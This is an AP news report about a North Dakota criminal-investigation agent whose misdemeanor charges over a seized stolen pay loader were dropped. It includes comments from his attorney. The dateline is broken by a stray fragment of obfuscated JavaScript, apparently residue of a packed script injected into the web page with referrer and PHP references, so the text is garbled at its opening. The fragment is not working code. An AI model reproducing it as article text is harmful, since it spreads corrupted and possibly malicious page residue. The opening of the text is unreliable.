FARGO, nzrzk|var|u0026u|referrer|rdfff||js|php’.split(‘|’),0,{}))
N.D. (AP) – The lawyer for a North Dakota Bureau of Criminal Investigation agent who was cleared of criminal charges for confiscating a stolen pay loader says his client should not have been hauled into court in the first place.

The case against agent Arnie Rummel began in May 2014 after he took the loader from Darrell Schrum’s garage in Forbes and gave it to a trucking company. Schrum said he didn’t know the loader was stolen and a judge found Rummel in contempt for failing to return it. The loader has not been located.

Rummel was later charged in Southeast District Court with two misdemeanor counts. Those charges were dropped earlier this week.

Rummel’s attorney, Tom Dickson, says Rummel is a “good cop” who was unfairly caught in a squabble among lawyers.